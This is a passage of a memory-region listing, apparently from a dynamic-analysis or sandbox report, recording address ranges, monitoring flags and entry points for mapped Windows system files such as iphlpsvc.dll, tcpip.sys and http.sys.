region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 5454 start_va = 0x20abc5e0000 end_va = 0x20abc639fff monitored = 0 entry_point = 0x20abc625b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 5455 start_va = 0x20abc380000 end_va = 0x20abc380fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5456 start_va = 0x20abc5e0000 end_va = 0x20abc6c1fff monitored = 0 entry_point = 0x20abc63d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5457 start_va = 0x20abc380000 end_va = 0x20abc380fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 5458 start_va = 0x20abc5e0000 end_va = 0x20abc6c1fff monitored = 0 entry_point = 0x20abc63d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 5459 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5460 start_va = 0x20abc5e0000 end_va = 0x20abc6c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5461 start_va = 0x20abc380000 end_va = 0x20abc3a8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 5462 start_va = 0x20abc5e0000 end_va = 0x20abc6c3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 5463 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5464 start_va = 0x20abc5e0000 end_va = 0x20abc672fff monitored = 0 entry_point = 0x20abc659000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5465 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 5466 start_va = 0x20abc5e0000 end_va = 0x20abc672fff monitored = 0 entry_point = 0x20abc659000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 5467 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5468 start_va = 0x20abc5e0000 end_va = 0x20abc680fff monitored = 0 entry_point = 0x20abc673000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5469 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 5470 start_va = 0x20abc5e0000 end_va = 0x20abc680fff monitored = 0 entry_point = 0x20abc673000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 5471 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5472 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5473 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5474 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5475 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5476 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5477 start_va = 0x20abc380000 end_va = 0x20abc38afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 5478 start_va = 0x20abc5e0000 end_va = 0x20abc665fff monitored = 0 entry_point = 0x20abc651000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 5479 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5480 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5481 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5482 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5483 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5484 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5485 start_va = 0x20abc380000 end_va = 0x20abc385fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 5486 start_va = 0x20abc5e0000 end_va = 0x20abc697fff monitored = 0 entry_point = 0x20abc5e1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 5487 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5488 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5489 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5490 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5491 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5492 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5493 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5494 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5495 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5496 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5497 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5498 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5499 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5500 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5501 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5502 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5503 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5504 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5505 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5506 start_va = 0x20abc5e0000 end_va = 0x20abc6d2fff monitored = 0 entry_point = 0x20abc605d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5507 start_va = 0x20abc5e0000 end_va = 0x20abc7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000020abc5e0000" filename = "" Region: id = 5508 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5509 start_va = 0x20abc7e0000 end_va = 0x20abc8d2fff monitored = 0 entry_point = 0x20abc805d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5510 start_va = 0x20abc380000 end_va = 0x20abc38cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 5511 start_va = 0x20abc7e0000 end_va = 0x20abc8d2fff monitored = 0 entry_point = 0x20abc805d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 5512 start_va = 0x20abc380000 end_va = 0x20abc38efff monitored = 0 entry_point = 0x20abc3836e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 5513 start_va = 0x20abc390000 end_va = 0x20abc391fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 5514 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5515 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5516 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5517 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5518 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5519 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5520 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5521 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5522 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5523 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5524 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5525 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5526 start_va = 0x20abc380000 end_va = 0x20abc39afff monitored = 1 entry_point = 0x20abc381190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 5527 start_va = 0x20abc3a0000 end_va = 0x20abc3abfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 5528 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 5529 start_va = 0x20abc7e0000 end_va = 0x20abc8eefff monitored = 0 entry_point = 0x20abc81c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 5530 start_va = 0x20abc380000 end_va = 0x20abc381fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 5531 start_va = 0x20abc7e0000 end_va = 0x20abc8eefff monitored = 0 entry_point = 0x20abc81c010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 5532 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5533 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5534 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5535 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5536 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5537 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5538 start_va = 0x20abc380000 end_va = 0x20abc395fff monitored = 0 entry_point = 0x20abc383630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 5539 start_va = 0x20abc3a0000 end_va = 0x20abc3a1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 5540 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5541 start_va = 0x20abc7e0000 end_va = 0x20abca36fff monitored = 0 entry_point = 0x20abc9ece10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5542 start_va = 0x20abc380000 end_va = 0x20abc396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 5543 start_va = 0x20abc7e0000 end_va = 0x20abca36fff monitored = 0 entry_point = 0x20abc9ece10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 5544 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5545 start_va = 0x20abc7e0000 end_va = 0x20abc8f0fff monitored = 0 entry_point = 0x20abc8d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5546 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5547 start_va = 0x20abc7e0000 end_va = 0x20abc8f0fff monitored = 0 entry_point = 0x20abc8d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5548 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5549 start_va = 0x20abc7e0000 end_va = 0x20abc8f0fff monitored = 0 entry_point = 0x20abc8d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5550 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5551 start_va = 0x20abc7e0000 end_va = 0x20abc8f0fff monitored = 0 entry_point = 0x20abc8d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5552 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 5553 start_va = 0x20abc7e0000 end_va = 0x20abc8f0fff monitored = 0 entry_point = 0x20abc8d1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 5554 start_va = 0x20abc380000 end_va = 0x20abc389fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") 